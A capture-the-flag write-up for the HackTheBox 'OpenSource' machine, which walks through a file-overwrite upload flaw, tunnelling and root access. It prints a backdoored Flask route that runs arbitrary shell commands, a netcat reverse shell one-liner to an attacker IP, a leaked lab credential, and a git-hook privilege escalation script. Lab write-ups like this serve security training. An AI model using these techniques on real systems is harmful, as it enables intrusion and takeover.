An easy Linux box from HackTheBox, using a file overwrite to get initial access, then chisel to get access to a service running on localhost, and then root via git GTFObins.

OpenSource

Recon

Just from the name opensource, probably gonna be some code review

Running the default nmap

Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-26 10:54 EDT  
Nmap scan report for 10.10.11.164  
Host is up (0.016s latency).  
Not shown: 997 closed tcp ports (reset)  
PORT     STATE    SERVICE VERSION  
22/tcp   open     ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)  
| ssh-hostkey:    
|   2048 1e:59:05:7c:a9:58:c9:23:90:0f:75:23:82:3d:05:5f (RSA)  
|   256 48:a8:53:e7:e0:08:aa:1d:96:86:52:bb:88:56:a0:b7 (ECDSA)  
|_  256 02:1f:97:9e:3c:8e:7a:1c:7c:af:9d:5a:25:4b:b8:c8 (ED25519)  
80/tcp   open     http    Werkzeug/2.1.2 Python/3.10.3  
|_http-title: upcloud - Upload files for Free!  
| fingerprint-strings:    
|   GetRequest:    
|     HTTP/1.1 200 OK  
|     Server: Werkzeug/2.1.2 Python/3.10.3  
|     Date: Thu, 26 May 2022 14:54:44 GMT  
|     Content-Type: text/html; charset=utf-8  
|     Content-Length: 5316  
|     Connection: close

See that the server is running Python, with Werkzeug - searchsploit doesn’t return anything for Werkzeug

Looking at port 80, theres a site describing an open source upload app that cleans up the filename on the redirect, but not on the save

Downloading the source code can also enumerate that the site is using Flask, find that there is a restriction on path traversal that recursively gets rid of “../” that is used in the app for every upload - so no LFI

def recursive_replace(search, replace_me, with_me):  
   if replace_me not in search:  
       return search  
   return recursive_replace(search.replace(replace_me, with_me), replace_me, with_me)

But no checks for overwriting existing files, marked “todo”, and the function isn’t used at all

TODO: get unique filename  
"""  
  
  
def get_unique_upload_name(unsafe_filename):  
   spl = unsafe_filename.rsplit("\\.", 1)  
   file_name = spl[0]  
   file_extension = spl[1]  
   return recursive_replace(file_name, "../", "") + "_" + str(current_milli_time()) + "." + file_extension  
  
  
"""

Can probably overwrite the routing file, and add a route that allows you to execute arbitrary code via a cmd() function on a new /exec endpoint

Exploitation

Upload a custom views.py, consisting of the original endpoints, plus a custom one that allows you to execute code as “/exec”

import os

from app.utils import get_file_name
from flask import render_template, request, send_file

from app import app


@app.route('/', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        f = request.files['file']
        file_name = get_file_name(f.filename)
        file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
        f.save(file_path)
        return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
    return render_template('upload.html')



@app.route('/uploads/<path:path>')
def send_report(path):
    path = get_file_name(path)
    return send_file(os.path.join(os.getcwd(), "public", "uploads", path))


@app.route('/exec')
def cmd():
    return os.system(request.args.get('cmd'))

And upload it with a “..//app/app/views.py” as the file name, to overwrite the existing one

Now can execute commands with

10.10.11.164/exec?cmd={command}

And can get reverse shell with

10.10.11.164/exec?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.14.8%201234%20%3E%2Ftmp%2Ff

With the shell, can see it’s a docker container, since in the root directory there is a .dockerenv file

/ # ls -a  
%00  
.  
..  
.dockerenv  
app  
bin  
.....etc

From the docker container, can see the IP is 172.17.0.2, naturally assume the host is 172.17.0.1

So to scan if there is anything open on the host, we need to setup a proxy and run a scan

For the proxy will be using chisel

Downloading the executable files from the releases page here

Since the container is sequestered and not open on the internet, we want to set up a reverse tunnel

When to use remote port forwarding?

Exposing service running in localhost of a server behind NAT to the internet

Consider the scenario below. The client runs a web server on port 3000 but cannot expose this web server to the public internet as the client machine is behind NAT. The remote server, on the other hand, can be reachable via the internet. The client can SSH into this remote server. In this situation, how can the client expose the webserver on port 3000 to the internet? Via reverse SSH tunnel!

Also known as dynamic tunneling, or SSH SOCKS5 proxy, dynamic port forwarding allows you to specify a connect port that will forward every incoming traffic to the remote server dynamically.

To set up reverse port forwarding, get chisel on the docker container and on kali

On the victim run the client

./chisel client 10.10.14.8:6969 R:socks

And on the local machine run the server

chisel server --reverse --port 6969

MAKE SURE TO ADD sock5 127.0.0.1 1080 entry to /etc/proxychains4.conf

Then can run programs like so to discover more open ports on the host

proxychains nmap 172.17.0.1

And find a service on port 3000 that we can navigate to through ProxyFoxy - by making a new proxy using SOCK5 in the options

Register etc. on GitTea, find a user aswell

When git diff’ing the repo that we downloaded, find some creds

dev01:Soulless_Developer#2022

Can try to sign in on gitea with them, and find that he backed up the entire home directory, including private rsa keys

Copy them and proxychain ssh into his box

proxychains ssh -i id_rsa dev01@172.17.0.1                                                                                                                          
[proxychains] config file found: /etc/proxychains4.conf  
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4  
[proxychains] DLL init: proxychains-ng 4.15  
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.17.0.1:22  ...  OK  
The authenticity of host '172.17.0.1 (172.17.0.1)' can't be established.  
ED25519 key fingerprint is SHA256:LbyqaUq6KgLagQJpfh7gPPdQG/iA2K4KjYGj0k9BMXk.  
This key is not known by any other names  
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes  
Warning: Permanently added '172.17.0.1' (ED25519) to the list of known hosts.  
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-176-generic x86_64)

Last login: Mon May 16 13:13:33 2022 from 10.10.14.23  
dev01@opensource:~$

We’re in!

Lets run linpeas.sh - it says it found some exploits but they don’t work unfortunately, all been patched

Instead can run pspy to look for active running processes

And see git runing without any arguments, and can use a pre-execution script to get code exec as root

Creating a script with

#!/bin/bash
chmod u+s bash

And then put it into /home/dev01/.git/hooks/pre-commit

And then rename the file to pre-commit

Wait for it to run, and get root!